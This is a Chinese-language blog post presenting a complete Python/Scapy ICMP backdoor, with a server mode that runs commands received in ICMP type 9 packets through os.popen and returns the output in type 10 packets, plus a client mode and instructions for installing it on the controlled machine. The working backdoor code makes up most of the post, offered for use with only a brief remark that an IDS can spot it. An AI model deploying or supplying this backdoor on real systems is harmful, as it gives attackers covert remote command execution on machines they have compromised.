Scapy是一个基于Python的数据包处理工具,你可以用它来抓包、构造包、发送包,实在是测试、学习、分析的必备良药,这里只是用它构造和捕获ICMP包的功能。

关于scapy的具体介绍和安装,请看:http://d-up.org/man/2010/01/scapy0x01/

    服务器上装好Scapy、Python、tcpdump,然后将以下代码保存为ICMPBackdoor.py与Scapy放同一目录即可:

#!/bin/python
# ICMP Backdoor
# writen by lake2
import sys
import os
import time
from scapy import *
conf.verb=0
def Sniffer():
 re=sniff(filter="icmp and icmp[0]=9",count=1)
 print("get command :"+re[0].load)
 dstip=re[0].sprintf("%IP.src%")
 cmd=os.popen(re[0].load).readlines()
 cmd_result="".join(cmd)
 time.sleep(2)
 print("return result "+cmd_result+" to "+dstip)
 send(IP(dst=dstip)/ICMP(type=10)/Raw(load=cmd_result))
if(len(sys.argv) < 2):
 print("ICMP Backdoor by lake2")
 sys.exit(1)
if(sys.argv[1]=="server"):
 print("start server ...")
 while(1):
  Sniffer()
elif(sys.argv[1]=="client"):
 if(len(sys.argv) != 4):
  print("")
  exit(1)
 ip=sys.argv[2]
 command=sys.argv[3]
 print("send cmd to "+ip+" ...")
 send(IP(dst=ip)/ICMP(type=9)/Raw(load=command))
 print("wait server exec result")
 re=sniff(filter="icmp and icmp[0]=10",count=1,timeout=10)
 print(re[0].load)
else:
 print("[ERROR] no type choose !")
 sys.exit(1)

    代码很简单,就是利用了ICMP协议的类型9和10来传输数据。检测起来也很容易,IDS直接会发现异常ICMP包。

    用法很简单,服务端(被控制机器) ICMPBackdoor.py server;客户端(控制端) ICMPBackdoor.py client <IP> <Command>

    非交互的,看看效果:

        scapy实现ICMP后门_休闲

    还有一些问题,不过这只是做个demo,就不管那么多啦。